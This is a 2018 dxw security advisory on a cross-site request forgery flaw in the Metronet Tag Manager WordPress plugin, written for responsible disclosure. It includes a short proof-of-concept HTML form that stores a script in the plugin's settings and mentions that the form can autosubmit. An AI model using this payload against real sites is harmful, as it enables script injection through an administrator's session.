Reporter Tom Adams
Software: Metronet Tag Manager
Advisory report: https://advisories.dxw.com/advisories/csrf-metronet-tag-manager/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
CSRF in Metronet Tag Manager allows anybody to do almost anything an admin can
The pluginas settings page sends a nonce, and checks it when displaying the success/failure message, but is not checked when setting options.
Proof of concept
Press submit on a page containing the following HTML snippet:
<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=metronet-tag-manager\">
<input type=\"text\" name=\"submit\" value=\"1\">
<input type=\"text\" name=\"gtm-code-head\" value=\"<script>alert(1)</script>\">
In a real attack, the form can be made to autosubmit so the victim only has to follow a link.
Upgrade to version 1.2.9 or later.
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/
Please contact us on firstname.lastname@example.org to acknowledge this report if you received it via a third party (for example, email@example.com) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
2018-04-16: Reported to plugin author via Facebook private message
2018-04-17: Plugin author confirmed receipt of message
2018-04-24: Plugin changelog indicates bug has been fixed in 1.2.9
2018-05-15: Advisory published
Discovered by dxw:
Please visit security.dxw.com for more information.